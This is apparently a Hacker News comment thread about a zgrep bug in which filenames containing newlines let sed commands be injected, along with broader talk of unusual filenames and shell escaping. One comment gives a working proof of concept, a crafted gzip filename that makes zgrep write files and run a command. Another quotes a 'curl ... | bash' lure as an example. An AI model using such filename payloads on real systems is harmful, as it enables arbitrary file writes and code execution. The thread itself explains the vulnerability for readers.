while grep is written in C, zgrep is written in posix sh, and the bug was from using sed to escape arguments, and sed being a line-oriented utility that is non-ideal for operating on newline-containing strings (i.e. linux filenames).

It's like all sh

Learning git itself is non-intuitive, but the gpg utilities take the learning curve to a whole other level. If you want to make simple use of the gpg utilities, you should plan on setting aside a few full days to learn how they work. Or just use pass, which additionally leverages git for password history.

That said, pretty much every filesystem's on-disk format has an explicit length field for file names. So in theory, there's nothing stopping them from supporting completely binary filenames - it's the kernel's VFS layer that treats NUL and / as special.

fopen() takes a null-terminated filename, so if there is a null byte in the middle it would just truncate the filename.

Sample usage to escape var called v v="$(printf '%q' "$v")"

I used it myself when I wrote a script that generates a self executing bash script to restore mtimes for directories[2]

[1]: https://www.gnu.org/software/bash/manual/bash.html#ANSI_002d...

[2]: https://github.com/unqueued/storetouch

  timdoug@box:~/gzip$ ls
  timdoug@box:~/gzip$ touch z
  timdoug@box:~/gzip$ echo test | gzip > 'z|
  p
  1s|.*|chosen-content|
  1w hacked
  etouch .\x2fhacked2
  d
  #
  #'
  timdoug@box:~/gzip$ zgrep test z*
  ztest
  timdoug@box:~/gzip$ ls hack*
  hacked  hacked2
  timdoug@box:~/gzip$ cat hacked
  chosen-content
  timdoug@box:~/gzip$

  xargs -0

  find ... -print0

  sort -z

  while IFS= read -r -d '' var; do ...; done

  env -0

  printf -- '%s\0' *

Of course EOT doesn't end anything by itself, nor does 0x0a end a line by itself -- all that happens through code that interprets those characters in a particular way, so talking about the "danger" of a character in absence of any code that operates on it is meaningless. In the presence of code, on the other hand, "harmless" in the extreme sense means "there exists no code that will act up when presented this character", which the article shows to be wrong.

But yes, EOT is not the only nonsensical character that you could put in a file name, and I never claimed such.

[1] https://en.wikipedia.org/wiki/Control_character#In_ASCII

There are cases where you will encounter lots of nasty filenames, especially if you are handling user generated content, like scraping from YouTube or Instagram.

It might directly help with UTF16, I'm not sure.

But the general idea of "block only a few specific characters (\0 and /) and allow all the rest" does help with UTF8. If the designers said something like "only ASCII letters and number and dashes and underscores" then that would block UTF8, and we might end up with something like URL hostnames, where you use punycode to encode non-ASCII into ASCII.

Not filtering untrusted inputs, and not escaping or handling them correctly is how you write insecure software. Arbitrary input guarantees (unless very strict, then that's indirectly filtering inputs anyways) don't change that.

Perhaps I don't get this because I have used Windows most of my life (and DOS before that) but is it valid to have newline characters in a Unix/Linux filename?

I believe you can also have newline characters in NTFS, although Windows Explorer appears to prevent creating a file with them.

Good thing there is not really any reason to call rm like that

I've found so much software that doesn't properly handle nasty filenames, I think it should be tested for more.

Another "queer" naming issue in Windows (JFYI), backslash and ALT+0160:

https://msfn.org/board/topic/131103-win_nt~bt-can-be-omitted...

So yea, it looks like that linux filesystems accept this, but a lot of utilities break.

I'd argue that the security vulnerability only exist in any program which passes untrusted user input to zgrep, which would be an obviously insecure thing to do.

Unless zgrep claims its safe against untrusted user input? But that would be weird and surprising.

This year, there was a bug reported to zgrep where files with 2 newlines caused it to behave incorrectly. It got a CVE and a front page hacker news post.

I give it very good odds this vulnerability has seen next to zero exploitation in the wild in either of the two cases above.

There aren't, to my knowledge, common programs or setups that would cause this to matter.

This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason"

Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.

You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.

I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?

Perhaps that's why?

You can see that here: https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=...

It's also mentioned in one of the few comments in zgrep: https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=...

> we use stdin to pass the gzip output to grep

zgrep does create a temporary directory to store the grep search pattern, but only if the pattern is passed via `zgrep -f`, and only if the pattern passed in is not a regular file (i.e. `zgrep -f <(echo "foo") some_file.gz` would create a temporary file with the contents "foo", not with the contents of some_file.gz, and `zgrep -f pattern_file search_file.gz` would not create any temporary file)

The issue with finding flaws in source is it takes a massive amount of logical thought about what inputs are possible. For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux.

Likewise. I wonder if SELinux or AppArmor or the like allows setting a policy for valid filenames to create. E.g. no newlines, only valid UTF-8, only printable characters.